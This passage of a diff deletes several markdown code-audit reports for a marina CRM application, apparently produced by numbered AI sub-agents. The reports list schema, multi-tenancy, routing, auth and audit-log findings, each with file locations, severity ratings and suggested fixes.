each other's tokens. Log a one-line warn at backend boot in non-prod.
|
||||
|
||||
## DB schema
|
||||
|
||||
- **`berths.current_pdf_version_id` lacks Drizzle FK** —
|
||||
`src/lib/db/schema/berths.ts:83`. The FK exists in migration 0030
|
||||
but not in the schema source-of-truth, so `pnpm db:push` against an
|
||||
empty DB skips the constraint. Either add the FK with a deferred
|
||||
declaration or document that `db:push` is unsupported.
|
||||
|
||||
- **Missing indexes on FK columns** — `berthReservations.interestId`,
|
||||
`berthReservations.contractFileId`, `documents.fileId`,
|
||||
`documents.signedFileId`, `documentEvents.signerId`,
|
||||
`documentTemplates.sourceFileId`, `formSubmissions.formTemplateId`,
|
||||
`formSubmissions.clientId`, `documentSends.brochureId`,
|
||||
`documentSends.brochureVersionId`, `documentSends.sentByUserId`. Add
|
||||
`index(...)` declarations to avoid full-scan FK checks on parent
|
||||
delete.
|
||||
|
||||
- **`systemSettings` PK / unique-index drift** —
|
||||
`src/lib/db/schema/system.ts:119-133`. Schema declares only a
|
||||
`uniqueIndex` on `(key, port_id)` but the migration uses `key` as PK.
|
||||
`port_id` is nullable so `(key, port_id)` cannot serve as a PK with
|
||||
default NULLs-not-equal semantics. Reconcile: declare
|
||||
`primaryKey({ columns: [table.key, table.portId] })` (after making
|
||||
`portId` non-null with a sentinel) OR use partial unique indexes for
|
||||
global + per-port settings.
|
||||
|
||||
- **Composite vs partial archived indexes** — many tables use
|
||||
`index('idx_*_archived').on(portId, archivedAt)` when the dominant
|
||||
query is `WHERE port_id = ? AND archived_at IS NULL`. Convert to
|
||||
`index(...).on(portId).where(sql\`archived_at IS NULL\`)` partial
|
||||
indexes for smaller storage + faster planner choice.
|
||||
|
||||
- **`documentSends.sentByUserId` ungated FK** —
|
||||
`src/lib/db/schema/brochures.ts:118` is `notNull()` but has no FK
|
||||
reference. If a user is hard-deleted (rare; we soft-delete), an
|
||||
orphan id remains. Add `.references(() => users.id, { onDelete: 'set null' })`
|
||||
and make the column nullable. Same audit-trail rationale as the
|
||||
other documentSends FK fixes (commit 0035).
|
||||
|
||||
## UI/UX
|
||||
|
||||
- **Storage admin migration mutation lacks toasts** —
|
||||
`src/components/admin/storage-admin-panel.tsx:61-72`. Add `onSuccess`
|
||||
toast with row count + `onError` toast.
|
||||
|
||||
- **Invoice detail send/payment mutations lack error feedback + gates** —
|
||||
`src/components/invoices/invoice-detail.tsx:93-99,152-167`. Add
|
||||
`onError: (e) => toast.error(...)` and wrap mutating buttons in
|
||||
`<PermissionGate resource="invoices" action="send">` /
|
||||
`record_payment`.
|
||||
|
||||
- **Admin user list edit button ungated** —
|
||||
`src/components/admin/users/user-list.tsx:114`. Wrap in
|
||||
`<PermissionGate resource="admin" action="manage_users">`.
|
||||
|
||||
- **Email threads list missing skeleton** —
|
||||
`src/components/email/email-threads-list.tsx:29-45`. Use `<Skeleton>`
|
||||
rows during load + `<EmptyState>` for the empty case.
|
||||
|
||||
- **Scan page mutations swallow OCR errors** —
|
||||
`src/app/(dashboard)/[portSlug]/expenses/scan/page.tsx:67-87`. Add an
|
||||
inline error state for `scanMutation.isError` (the upload-side
|
||||
already does this).
|
||||
|
||||
- **Invoice detail uses `any` for query data** — strict-mode escape
|
||||
hatch. Define a proper response type matching the API contract.
|
||||
|
||||
## Security defense-in-depth
|
||||
|
||||
- **Storage proxy token does not bind to port_id** —
|
||||
`src/lib/storage/filesystem.ts:73-84`. Token's HMAC is global. Fix:
|
||||
add `p` (portId) claim and have the proxy resolve key→owner row +
|
||||
assert `owner.portId === payload.p`.
|
||||
|
||||
- **Documenso webhook does not enforce port_id** —
|
||||
`src/app/api/webhooks/documenso/route.ts:96-148`. Handlers dispatch
|
||||
by global `documensoId`. Verify `documents(documenso_id)` is unique
|
||||
port-wide OR include the originating instance/team in the lookup.
|
||||
|
||||
- **EOI in-app pathway silently swallows missing `Berth Range` field** —
|
||||
`src/lib/pdf/fill-eoi-form.ts:93`. Log warn when
|
||||
`context.eoiBerthRange` is non-empty AND the field is absent so the
|
||||
Documenso template deployment gap is observable.
|
||||
|
||||
- **AI worker has no cost-tracking ledger write** —
|
||||
`src/lib/queue/workers/ai.ts:122-177`. Persist token usage to the
|
||||
`ai_usage` ledger after every call.
|
||||
|
||||
- **Logger redact paths miss nested credentials** —
|
||||
`src/lib/logger.ts:5-19`. Extend redact list to cover
|
||||
`*.headers.authorization`, `**.token`, `secretKeyEncrypted`, etc.
|
||||
@@ -1,22 +0,0 @@
|
||||
# L-001 Legacy Stage Enum Master Grep — agent #12 (re-dispatch slice 1)
|
||||
|
||||
**Headline:** The 9→7 stage refactor is correctly implemented; zero bugs found across 25 files with legacy-stage-name hits.
|
||||
|
||||
**Counts:** 0 critical · 0 high · 0 medium
|
||||
|
||||
---
|
||||
|
||||
## Verdict
|
||||
|
||||
The two `stageRank` Records (`clients.service.ts:276-283`, `berth-recommender.service.ts:195-210`) intentionally include both legacy AND modern keys mapping to the same final ranks — yesterday's commit `9821106` purged the gap. The rules engine (`berth-rules-engine.ts:15-42`) and document services use legacy _trigger event_ names (`eoi_sent`/`eoi_signed`/`contract_signed`) rather than stage names — both old and new events fire correctly because they're labels for webhook/doc events, not pipeline stages.
|
||||
|
||||
## Legitimate / neutral hit categories
|
||||
|
||||
- **Historical lookup tables (designed for dual-stage support):** `clients.service.ts:276-283` `stageRank`, `berth-recommender.service.ts:195-210` `STAGE_ORDER` — both have legacy + modern keys.
|
||||
- **Refactor mapping definitions:** `constants.ts:59-65` `LEGACY_STAGE_REMAP`; `dedup/migration-transform.ts:206-212` legacy-to-legacy map for NocoDB import.
|
||||
- **Rules engine + service layer (legacy-aware design):** `berth-rules-engine.ts:15-42` (trigger event labels), `external-signing.service.ts:37-41`, `documents.service.ts:786/909/1503/1544/1574` (`evaluateRule('eoi_sent'|'eoi_signed'|'contract_signed', ...)`), `external-eoi.service.ts:138-151` (intentional legacy-aware advance branch).
|
||||
- **Schema metadata:** `db/schema/interests.ts:61-65` field names (`dateEoiSent`, `dateEoiSigned`, `dateContractSent`, `dateContractSigned`) — historical schema column names.
|
||||
- **UI display:** `email/templates/notification-digest.tsx:29` `eoi_signed: 'EOI signed'` label for historical data.
|
||||
- **Comments only:** `alert-rules.ts:83`, `interests.service.ts:938/980/1095`, `berths.service.ts:175`, `db/schema/operations.ts:98`.
|
||||
|
||||
**No silent-failure lookup tables. No rank-0 fallthrough patterns. No raw legacy enum keys leaking to the UI without remap.**
|
||||
@@ -1,28 +0,0 @@
|
||||
# L-002-011 Legacy Stage Rendering Surfaces — done in main thread (sub-agent context-thrashed)
|
||||
|
||||
**Headline:** Mostly clean. One LOW finding: report-generators stage rollup keys are raw enum without `LEGACY_STAGE_REMAP`/`canonicalizeStage` — defensive-coding gap if any active row drifts back to a legacy stage value (migration 0062 normalized, so this is theoretical).
|
||||
|
||||
**Counts:** 0 critical · 0 high · 0 medium · 1 low (defensive)
|
||||
|
||||
---
|
||||
|
||||
## 🟢 LOW L-008: Reports stage-revenue rollup uses raw `interests.pipelineStage` without `canonicalizeStage`
|
||||
|
||||
- **File:** `src/lib/services/report-generators.ts:71-76, 88-106, 124-138, 176-192`
|
||||
- **What:** `stageRevenueMap[row.stage] = ...` and `pipelineWeights[row.stage]` use the raw enum value from the SQL `groupBy(interests.pipelineStage)`. No `canonicalizeStage()` wrap.
|
||||
- **Why it matters:** Migration 0062 normalized historical data to modern values, so today active rows should all be in the 7-stage set and bucketing is correct. But if any leakage occurs (NocoDB re-import, partial migration on a future port, manual `psql` write), legacy values would be siloed into their own bucket and `pipelineWeights[legacy_value]` returns `undefined` → that bucket contributes 0 to the forecast. Silent.
|
||||
- **Suggested fix:** Wrap row.stage with `canonicalizeStage(row.stage)` from `src/lib/utils/legacy-stage.ts` before keying into `stageRevenueMap` / `pipelineWeights`.
|
||||
|
||||
---
|
||||
|
||||
## ✅ Passing checks
|
||||
|
||||
- **L-002 audit log diff** — `audit-log-list.tsx` / `audit-log-card.tsx` don't render stage values at all (just field-name keys per agent #4's AU-08 finding). No raw-enum render path exists.
|
||||
- **L-003 activity feed** — `src/components/dashboard/activity-feed.tsx:14,57` imports and uses `LEGACY_STAGE_REMAP` for the stage_change diff line.
|
||||
- **L-004 email templates** — `src/lib/email/templates/notification-digest.tsx:24` `TYPE_LABELS` includes `eoi_signed` as a _notification type_ label (the doc-status event), not a pipeline stage. Legitimate.
|
||||
- **L-005 Documenso payload** — `src/lib/services/documenso-payload.ts` and `src/lib/templates/merge-fields.ts` have zero `pipelineStage` / `pipeline_stage` references. EOI payload doesn't surface stage.
|
||||
- **L-006 public berths status filter** — already verified clean by agent #7 (IN-17). `src/lib/services/public-berths.ts:90-97` `derivePublicStatus` only branches on `sold` / `under_offer` / else `available`. No legacy enum acceptance.
|
||||
- **L-007 outbound webhook** — `webhook-dispatch.ts` is a passthrough; payload built at `interests.service.ts:919-934` (`emitToRoom` + `dispatchWebhookEvent`). New stage value is current modern (write-time enforcement). `oldStage` could be legacy if the row was historical, but that's the actual historical truth — informational.
|
||||
- **L-009 search FTS on stages** — `interests` has no FTS GIN index at all (per agent #2's SC-04 finding); migration 0057 covers only clients/yachts/residential_clients. Stage searchability via FTS is moot. (SC-04 fix should add interests FTS — when added, the GENERATED expression should use `stageLabelFor` for the stage column.)
|
||||
- **L-010 notifications** — `next-in-line-notify.service.ts:63-65` falls back to `i.pipelineStage.replace(/_/g, ' ')` when `STAGE_LABELS` lookup misses. STAGE_LABELS is the modern-only map; legacy values would render as "eoi signed" etc. Recommended switch to `stageLabelFor()` for legacy resilience, but: only fires for active interests where stage is modern, so functionally clean today.
|
||||
- **L-011 CSV importers** — Only import services are `berth-import.ts` and `document-import.ts`; neither references `pipelineStage`. No CSV stage-import path exists, so no risk of legacy value re-entry through this vector.
|
||||
@@ -1,26 +0,0 @@
|
||||
# L-013-020 Adjacent Enum Drift — agent #14 (re-dispatch slice 3)
|
||||
|
||||
**Headline:** Single medium finding (tenure type enum diverges between berths and reservations); all other enums consistent.
|
||||
|
||||
**Counts:** 0 critical · 0 high · 1 medium
|
||||
|
||||
---
|
||||
|
||||
## 🟡 MEDIUM L-018: Tenure type enum diverges between berths and reservations
|
||||
|
||||
- **Files:** `src/lib/db/schema/berths.ts:65` vs `src/lib/db/schema/reservations.ts:32`
|
||||
- **What:** `berths.tenureType` documents `'permanent' | 'fixed_term' | 'fee_simple' | 'strata_lot'` (4 values). `reservations.tenureType` documents `'permanent' | 'fixed_term' | 'seasonal'` (3 values). Same column name, divergent allowed values.
|
||||
- **Why it matters:** No writes indicate actual cross-table conflict yet, but the schema-comment mismatch is a trap — a future feature copying tenure between the two tables would silently accept invalid values for the receiving side.
|
||||
- **Suggested fix:** Pick a single canonical enum (likely `'permanent' | 'fixed_term' | 'fee_simple' | 'strata_lot' | 'seasonal'` as the union) and update both schemas + comments. Or rename one column to disambiguate intent.
|
||||
|
||||
---
|
||||
|
||||
## ✅ Passing checks
|
||||
|
||||
- L-013 berth status `available/under_offer/sold` — only writes are in `berth-rules-engine.ts` respecting the 3-value set
|
||||
- L-014 statusOverrideMode — `manual/automated/null`; migration 0066 normalizes legacy `'auto'` → NULL; only writers in rules-engine + reconcile-queue both respect three-state
|
||||
- L-015 outcome — `won/lost_other_marina/lost_unqualified/lost_no_response/cancelled`; only writes in `interest-outcome.service.ts`; no legacy `'completed'` outcome anywhere
|
||||
- L-016 lead category — `general_interest/specific_qualified/hot_lead`; no out-of-set writes
|
||||
- L-017 lead source — `website/manual/referral/broker`; no out-of-set writes
|
||||
- L-019 doc status (`eoiDocStatus`, `reservationDocStatus`, `contractDocStatus`) — `pending/sent/signed/declined/voided`; mark-externally-signed only writes `'signed'`; Documenso webhook routes all status updates through services consistent with the set
|
||||
- L-020 reservation/contract status — `pending/active/ended/cancelled`; only writes in `reservation-state-machine.ts`
|
||||
@@ -1,105 +0,0 @@
|
||||
# Multi-tenancy + Schema Audit (MT-01-11, SC-01-15) — agent #2
|
||||
|
||||
**Headline:** API port isolation structurally sound, but 5 write paths do port check in JS without re-asserting portId in WHERE (TOCTOU gaps). Schema has several FKs that are `ON DELETE NO ACTION` in DB while nullable Drizzle declarations imply SET NULL — most critically `documents.clientId` and all `berthReservations` FKs.
|
||||
|
||||
**Counts:** 0 critical · 1 high · 8 medium · 0 low.
|
||||
|
||||
---
|
||||
|
||||
## 🟠 HIGH SC-02: Multiple significant FKs missing `onDelete` — remain `ON DELETE NO ACTION`
|
||||
|
||||
- **Files:**
|
||||
- `src/lib/db/schema/interests.ts:29,32` — `interests.portId`, `interests.clientId`
|
||||
- `src/lib/db/schema/documents.ts:72,85,86` — `documents.clientId`, `documents.fileId`, `documents.signedFileId`
|
||||
- `src/lib/db/schema/reservations.ts:18,24,25,27,28,33` — all 6 `berthReservations` FKs
|
||||
- `src/lib/db/schema/operations.ts:25` — `reminders.clientId`
|
||||
- `src/lib/db/schema/financial.ts:120` — `invoices.pdfFileId`
|
||||
- `src/lib/db/schema/documents.ts:176` — `documentEvents.signerId`
|
||||
- **What:** `.references(...)` without `{ onDelete: ... }` emits `ON DELETE NO ACTION`. Confirmed in migration 0000:841 (`interests_client_id_clients_id_fk ... ON DELETE no action`).
|
||||
- **Why it matters:** Hard-deleting a parent (client, berth, yacht, file) blocks at FK level. `client-hard-delete.service.ts` manually nullifies but `berthReservations` (4 NO ACTION FKs) is not in the chain. Future maintenance trap.
|
||||
- **Suggested fix:** Add `{ onDelete: 'set null' }` for nullable FKs that should tolerate parent deletion; explicit `{ onDelete: 'restrict' }` for those that intentionally block (e.g., `interests.clientId` — design intent is archive-first).
|
||||
|
||||
## 🟡 MEDIUM MT-01: `updateDefinition` UPDATE uses only `id` in WHERE, not `and(id, portId)`
|
||||
|
||||
- **File:** `src/lib/services/custom-fields.service.ts:136-145`
|
||||
- **What:** Guard read uses `and(eq(id, fieldId), eq(portId, portId))`, but UPDATE fires with only `eq(customFieldDefinitions.id, fieldId)`.
|
||||
- **Why it matters:** TOCTOU race between read check and write.
|
||||
- **Suggested fix:** Mirror `updateTag`/`deleteTag`: add `and(eq(...id), eq(...portId, portId))` to the UPDATE WHERE.
|
||||
|
||||
## 🟡 MEDIUM MT-01: `notes.service.ts` UPDATE/DELETE missing entityId scope
|
||||
|
||||
- **File:** `src/lib/services/notes.service.ts:846-850, 869-873, 897-901`
|
||||
- **What:** All note `update()` branches verify ownership via prior SELECT, then UPDATE/DELETE on `eq(...notes.id, noteId)` alone (no `eq(yachtNotes.yachtId, entityId)` etc).
|
||||
- **Why it matters:** TOCTOU gap; risk currently low (UUIDs, no cross-entity discovery surface).
|
||||
- **Suggested fix:** Add `eq(...notes.<parent>Id, entityId)` to each UPDATE/DELETE WHERE.
|
||||
|
||||
## 🟡 MEDIUM MT-01: `clients.service.ts::updateContact` / `removeContact` UPDATE/DELETE use only `contactId`
|
||||
|
||||
- **File:** `src/lib/services/clients.service.ts:737-741, 764`
|
||||
- **What:** PortId verified in JS only; mutation has no portId guard.
|
||||
- **Suggested fix:** Add `eq(clientContacts.clientId, clientId)` to the UPDATE/DELETE WHERE.
|
||||
|
||||
## 🟡 MEDIUM MT-04: `notes.service.ts::listForYachtAggregated` ownerClientId lookup has no portId guard
|
||||
|
||||
- **File:** `src/lib/services/notes.service.ts:276-283`
|
||||
- **What:** Owner client SELECT uses only `eq(clients.id, ownerClientId)`. Yacht is verified in port but cross-port ownerClientId would still surface.
|
||||
- **Suggested fix:** Add `eq(clients.portId, portId)`.
|
||||
|
||||
## 🟡 MEDIUM MT-06: `webhooks.service.ts::getWebhook` / `updateWebhook` / `deleteWebhook` fetch by `id` only, portId checked in JS
|
||||
|
||||
- **File:** `src/lib/services/webhooks.service.ts:103-108, 133-137, 170-174`
|
||||
- **What:** Fetches full webhook row (incl. encrypted secret) before JS port check.
|
||||
- **Why it matters:** Defense-in-depth gap — secret briefly in app memory before authz check.
|
||||
- **Suggested fix:** Move portId into `findFirst` WHERE.
|
||||
|
||||
## 🟡 MEDIUM SC-01: Migration 0000 (and 0001-0023) uses bare CREATE/ALTER without IF NOT EXISTS
|
||||
|
||||
- **File:** `src/lib/db/migrations/0000_narrow_longshot.sql`
|
||||
- **What:** No `IF NOT EXISTS` guards on CREATE TABLE/INDEX. Migration 0036 also bare `ALTER TABLE ... ADD CONSTRAINT`. Later migrations (0042, 0050, 0051, 0052, 0057, 0062, 0065) use IF NOT EXISTS / DO blocks correctly.
|
||||
- **Why it matters:** Drizzle tracker prevents double-runs in normal flow, but disaster-recovery partial replay would fail.
|
||||
- **Suggested fix:** Document that 0000-0036 are not re-runnable without dropping schema first; standardize on IF NOT EXISTS / DO block pattern for all new migrations.
|
||||
|
||||
## 🟡 MEDIUM SC-03: `companies` table missing soft-delete partial index for `archivedAt`
|
||||
|
||||
- **File:** `src/lib/db/schema/companies.ts:39-45`
|
||||
- **What:** Other entities (clients, interests, yachts, berths, residentialClients, residentialInterests) have `idx_*_archived ... WHERE archived_at IS NULL` partial indexes (migration 0046). Companies missing.
|
||||
- **Suggested fix:** `CREATE INDEX IF NOT EXISTS idx_companies_archived ON companies (port_id) WHERE archived_at IS NULL;`
|
||||
|
||||
## 🟡 MEDIUM SC-04: FTS GIN indexes missing for `interests` and `berths`
|
||||
|
||||
- **File:** `src/lib/db/migrations/0057_search_fts_indexes.sql`
|
||||
- **What:** Migration 0057 creates GIN indexes for clients/yachts/residentialClients but explicitly notes companies uses ILIKE. Interests and berths also lack GIN indexes.
|
||||
- **Suggested fix:** `CREATE INDEX CONCURRENTLY IF NOT EXISTS idx_interests_fulltext ON interests USING gin (...)` and similar for berths.
|
||||
|
||||
## 🟡 MEDIUM SC-08: `audit_logs.searchText` declared as plain column in Drizzle but is GENERATED ALWAYS in DB
|
||||
|
||||
- **File:** `src/lib/db/schema/system.ts:53-54`
|
||||
- **What:** Drizzle `tsvector('search_text')` without generated annotation. If any service auto-includes this column in an UPDATE, it errors on the generated column. `audit_logs` is insert-only so likely not hit in practice, but schema-DB mismatch.
|
||||
- **Suggested fix:** Annotate as non-updateable or add a generated-column marker.
|
||||
|
||||
## 🟡 MEDIUM SC-09: `documents.clientId` Drizzle nullable but DB is `ON DELETE NO ACTION`
|
||||
|
||||
- **File:** `src/lib/db/schema/documents.ts:72`, migration `0000_narrow_longshot.sql:814`
|
||||
- **What:** Drizzle says nullable (intent: SET NULL on parent delete); DB constraint is NO ACTION (blocks delete). Migration 0042 fixed `documents.interestId/yachtId/companyId` but missed `clientId`.
|
||||
- **Why it matters:** Client hard-delete fails unless service explicitly nulls `documents.clientId` first.
|
||||
- **Suggested fix:** Migration to mirror what 0059 did for `files.client_id` — drop and re-add FK with `ON DELETE SET NULL`.
|
||||
|
||||
---
|
||||
|
||||
## ✅ Passing checks
|
||||
|
||||
- MT-01 clean: clients/interests/invoices/documents/files/tags/companies/berth-reservations GET/PATCH/DELETE all use `and(id, portId)` SQL filter; notes-service `verifyParentBelongsToPort` correct
|
||||
- MT-04 document-folders.service.ts clean (`listTree`, `createFolder`, `renameFolder`, `moveFolder`, `deleteFolderSoftRescue` all apply `eq(documentFolders.portId, portId)`)
|
||||
- MT-05 audit.service.ts `listAuditLogs` filters by portId first
|
||||
- MT-07 settings.service.ts clean (port-specific then global fallback by design)
|
||||
- MT-08 tags.service.ts clean
|
||||
- MT-09 custom-fields read/create/delete clean (only update missed; covered above)
|
||||
- MT-11 seed.ts idempotent (`SELECT count(*) FROM companies WHERE port_id = $1` early-exit)
|
||||
- SC-02 interestBerths.berthId/interestId, files.clientId/yachtId/companyId, documents.interestId/yachtId/companyId/reservationId all have explicit onDelete
|
||||
- SC-05 doc folder sibling-name unique, entity-folder partial unique, isPrimary partial unique all present
|
||||
- SC-06 idx_brochures_default partial unique present
|
||||
- SC-07 chk_system_folder_shape present (tightened by migration 0052)
|
||||
- SC-12 Migration 0062 normalizes legacy stages, 0066 normalizes statusOverrideMode='auto' → NULL
|
||||
- SC-13 Currency code stored as text + app-level validation (consistent)
|
||||
- SC-14 Address components stored as ISO 3166-2/alpha-2 text columns (consistent)
|
||||
- SC-15 Polymorphic owner reads use service helpers (eoi-context.ts, interests.service.ts, berth-reservations.service.ts); raw column reads only in JOIN conditions
|
||||
@@ -1,68 +0,0 @@
|
||||
# Routes/Middleware/Auth Audit (R-016-029, S-09-13, S-17-19) — agent #3
|
||||
|
||||
**Headline:** 1 critical (`/setup` unreachable on fresh DB — middleware redirect loop), 3 high (post-login `?redirect=` ignored; CRM invite token in query string leaks to access logs; missing `Retry-After` on sign-in 429), 2 medium (broad portal allowlist, no OPTIONS handlers), 13 clean.
|
||||
|
||||
**Counts:** 1 critical · 3 high · 2 medium · 0 low · 13 passing
|
||||
|
||||
---
|
||||
|
||||
## 🔴 CRITICAL R-021: `/setup` missing from `PUBLIC_PATHS` — bootstrap unreachable on fresh DB
|
||||
|
||||
- **File:** `src/proxy.ts:51-73`
|
||||
- **What:** `PUBLIC_PATHS` includes `/api/v1/bootstrap/` but NOT `/setup`. Comment at lines 60-62 says login + setup pages call bootstrap status, but `/setup` itself is not exempt from the session guard. Unauthenticated user → `/setup` → middleware redirects to `/login?redirect=/setup`. Login useEffect fetches bootstrap status, calls `router.replace('/setup')` → middleware again → infinite redirect loop.
|
||||
- **Why it matters:** Fresh deployment (no super admin) is functionally deadlocked. First operator cannot reach setup without already having a session (impossible on fresh DB).
|
||||
- **Suggested fix:** Add `'/setup'` to `PUBLIC_PATHS`. `POST /api/v1/bootstrap/super-admin` already self-protects with `hasAnySuperAdmin()`.
|
||||
|
||||
## 🟠 HIGH R-017/018: CRM post-login redirect ignores `?redirect=` — deep links silently dropped
|
||||
|
||||
- **File:** `src/app/(auth)/login/page.tsx:79`
|
||||
- **What:** Middleware redirects unauthenticated → `/login?redirect=<path>`. Login page never reads `useSearchParams()`; always `router.push('/dashboard')`.
|
||||
- **Why it matters:** Email/bookmark/shared deep links into specific clients/interests silently dump to dashboard after login.
|
||||
- **Suggested fix:** Read `searchParams.get('redirect')`, validate same-origin (starts with `/`, not `//`), use as push target if valid.
|
||||
|
||||
## 🟠 HIGH R-023: CRM invite token in query string leaks to access logs
|
||||
|
||||
- **File:** `src/lib/services/crm-invite.service.ts:71,233`
|
||||
- **What:** `${env.APP_URL}/set-password?token=${raw}` — raw 32-byte token in query param. Set-password page reads via `useSearchParams()`. Portal flow was migrated to `#token=` fragment in 2026-05-14 specifically to keep tokens out of logs/Referer; CRM invite path missed the migration.
|
||||
- **Why it matters:** Every nginx/Caddy access log line for `GET /set-password?token=<raw>` persists token to disk. Forwarded to SIEM/S3/monitoring → token visible to anyone with log access. Token grants account creation.
|
||||
- **Suggested fix:** Change `createCrmInvite` + `resendCrmInvite` to emit `${env.APP_URL}/set-password#token=${encodeURIComponent(raw)}`. Update `set-password/page.tsx` to use the fragment-reading pattern from `PasswordSetForm` (`readTokenFromUrl()`) with `?token=` back-compat for outstanding tokens.
|
||||
|
||||
## 🟠 HIGH R-029: `sign-in-by-identifier` 429 missing `Retry-After`
|
||||
|
||||
- **File:** `src/app/api/auth/sign-in-by-identifier/route.ts:47-51`
|
||||
- **What:** Builds 429 response with `headers: rateLimitHeaders(rl)` which only emits `X-RateLimit-Limit/Remaining/Reset` (`src/lib/rate-limit.ts:79-85`). `enforcePublicRateLimit` adds `Retry-After`; this route uses `checkRateLimit` directly and skips it.
|
||||
- **Why it matters:** RFC 6585 §4 requires `Retry-After` on 429. Automated clients can't back off correctly. Inconsistent with other public endpoints.
|
||||
- **Suggested fix:** Add `'Retry-After': Math.max(1, Math.ceil((rl.resetAt - Date.now()) / 1000)).toString()`.
|
||||
|
||||
## 🟡 MEDIUM R-016: `/portal/` blanket allowlist removes middleware as backstop
|
||||
|
||||
- **File:** `src/proxy.ts:65`
|
||||
- **What:** `'/portal/'` in `PUBLIC_PATHS` — every `/portal/*` is exempt from middleware session check. Per-page `getPortalSession()` is the only gate.
|
||||
- **Why it matters:** Defense-in-depth gap. Per-page checks all in place today; but a future portal page added without `getPortalSession()` has no middleware backstop. Fragile vs CRM's primary middleware gate.
|
||||
- **Suggested fix:** Allowlist only the unauthenticated portal routes individually (`/portal/login`, `/portal/activate`, `/portal/reset-password`, `/portal/forgot-password`). Add middleware portal-cookie check.
|
||||
|
||||
## 🟡 MEDIUM R-028: No explicit `OPTIONS` handlers, no CORS headers
|
||||
|
||||
- **File:** All `route.ts` files under `src/app/api/`
|
||||
- **What:** No `OPTIONS` exports. No `Access-Control-Allow-*` headers anywhere. Next.js will 405 on unhandled OPTIONS.
|
||||
- **Why it matters:** Acceptable for same-origin CRM. Becomes an issue if marketing-site browser JS calls `/api/public/berths` cross-origin.
|
||||
- **Suggested fix:** Defer until cross-origin consumer exists. When marketing site lives, add explicit `Access-Control-Allow-Origin: <marketing-domain>` to public routes (not wildcard).
|
||||
|
||||
---
|
||||
|
||||
## ✅ Passing checks
|
||||
|
||||
- R-016 allow-list anchor — `startsWith('/api/public/')` correctly rejects `'/api/publicX-evil'` (no regex anchor concern)
|
||||
- S-09 open redirect on next/redirect — CRM login ignores param (no risk because unused); portal `safeNextPath()` (portal/login/page.tsx:20-27) rejects non-`/portal/` paths and `//`-protocol-relative
|
||||
- S-10 CSRF — defense-in-depth: `proxy.ts originAllowed()` (lines 104-122) rejects state-changing `/api/v1/**` where Origin/Referer don't match in prod; better-auth has its own origin check for `/api/auth/**`; dev bypass intentional
|
||||
- S-11 cookie flags — CRM: `httpOnly`, `secure` (prod), `sameSite: 'strict'` (`src/lib/auth/index.ts:107-110`); Portal: `httpOnly`, `secure` (prod), `sameSite: 'lax'` (`src/app/api/portal/auth/sign-in/route.ts:43-45`)
|
||||
- S-12 CSP — per-request nonce-based CSP via `proxy.ts:buildCspWithNonce()` for page routes in prod (`'nonce-<n>' 'strict-dynamic'`); fallback CSP in `next.config.ts:55-66`; `frame-ancestors: 'none'` + `X-Frame-Options: DENY`; HSTS, X-Content-Type-Options, Referrer-Policy, Permissions-Policy all present
|
||||
- S-13 CORS — no `Access-Control-Allow-Origin: *` anywhere (correct for same-origin CRM)
|
||||
- R-019/020 portal `client_portal_enabled` gate — `src/app/(portal)/layout.tsx:22` calls `isPortalDisabledGlobally()`; per-page `getPortalSession()` additionally guards
|
||||
- R-022 reset-password tokens — Portal: single-use `consumeToken` setting `usedAt`, 30min TTL, SHA-256 hashed in DB. Better-auth CRM: 1h TTL, `revokeSessionsOnPasswordReset: true`
|
||||
- R-023 portal half — `portal/activate/page.tsx` uses `PasswordSetForm` with `useSyncExternalStore + readTokenFromUrl()` reading `window.location.hash` client-side; SSR-safe via `null` server snapshot
|
||||
- R-025 public berths cache headers `s-maxage=300, stale-while-revalidate=60` confirmed in both list + single endpoints
|
||||
- R-026/027 public health: anonymous `{status,timestamp}` only never 503; `X-Intake-Secret` `timingSafeEqual` (lines 57-64); authenticated runs DB+Redis dep checks in parallel, 503 on either failure
|
||||
- S-17 session fixation — better-auth creates fresh session row on every sign-in; portal sign-in always issues new JWT via `createPortalToken`
|
||||
- S-18 token expiry/refresh — CRM 24h absolute, 6h sliding refresh window (`src/lib/auth/index.ts:99-103`); Portal JWT 24h checked against `passwordChangedAt` watermark per request
|
||||
- S-19 audit log tamper-resistance — `audit_logs` has no `updated_at`; no `UPDATE` calls in app code (only INSERT/SELECT and time-based retention DELETE bounded by `AUDIT_LOGS_RETENTION_DAYS`)
|
||||
@@ -1,92 +0,0 @@
|
||||
# Audit Log Audit (AU-01-14) — agent #4
|
||||
|
||||
**Headline:** Core write path solid; major mutations all audit; mask helper covers expected PII; FTS indexed; AU-11 fix complete. Two HIGH issues: encrypted credential ciphertext bypasses masking (key is `"value"`) and `toggleAccount` mutation is silent.
|
||||
|
||||
**Counts:** 0 critical · 2 high · 4 medium · 4 low
|
||||
|
||||
---
|
||||
|
||||
## 🟠 HIGH AU-01a: `toggleAccount` writes no audit row
|
||||
|
||||
- **File:** `src/lib/services/email-accounts.service.ts:86-116`
|
||||
- **What:** Sets `isActive` on email account with no `createAuditLog` call. `connectAccount` (line 70) and `disconnectAccount` (line 139) do, but enable/disable in between is silent.
|
||||
- **Why it matters:** Silently disabling an email account suppresses bounce-detection or reroutes replies — compliance gap on a security-relevant config change.
|
||||
- **Suggested fix:** Add `void createAuditLog({ action: 'update', entityType: 'email_account', entityId: accountId, newValue: { isActive: data.isActive }, ... })` inside `toggleAccount`.
|
||||
|
||||
## 🟠 HIGH AU-02: Encrypted credential ciphertext stored in audit log without masking
|
||||
|
||||
- **File:** `src/lib/services/settings.service.ts:66-76` + `src/lib/services/sales-email-config.service.ts:281-299`
|
||||
- **What:** `updateSalesEmailConfig` calls `upsertSetting('sales_smtp_pass_encrypted', <ciphertext>, portId, meta)`. `upsertSetting` records `newValue: { value: '<ciphertext>' }`. `maskSensitiveFields` checks JSON keys against `SENSITIVE_KEY_FRAGMENTS`; the wrapping key `"value"` isn't in the list. Ciphertext lands verbatim in `audit_logs.new_value`.
|
||||
- **Why it matters:** Audit log is readable by all admins with `admin.view_audit_log`. DB read access exfils ciphertext; if `EMAIL_CREDENTIAL_KEY` is ever compromised, the historical audit log becomes a credential store. Industry standard: store only `credentialUpdated: true` for credential changes.
|
||||
- **Suggested fix:** In `upsertSetting`, detect when key ends with `_encrypted` (or accept `redactValue?: boolean` flag) and record `newValue: { value: '[redacted]' }`.
|
||||
|
||||
## 🟡 MEDIUM AU-03: FTS `search_text` covers only 4 fields; placeholder text misleads
|
||||
|
||||
- **File:** `src/lib/db/migrations/0014_black_banshee.sql:47-55` + `src/components/admin/audit/audit-log-list.tsx:360`
|
||||
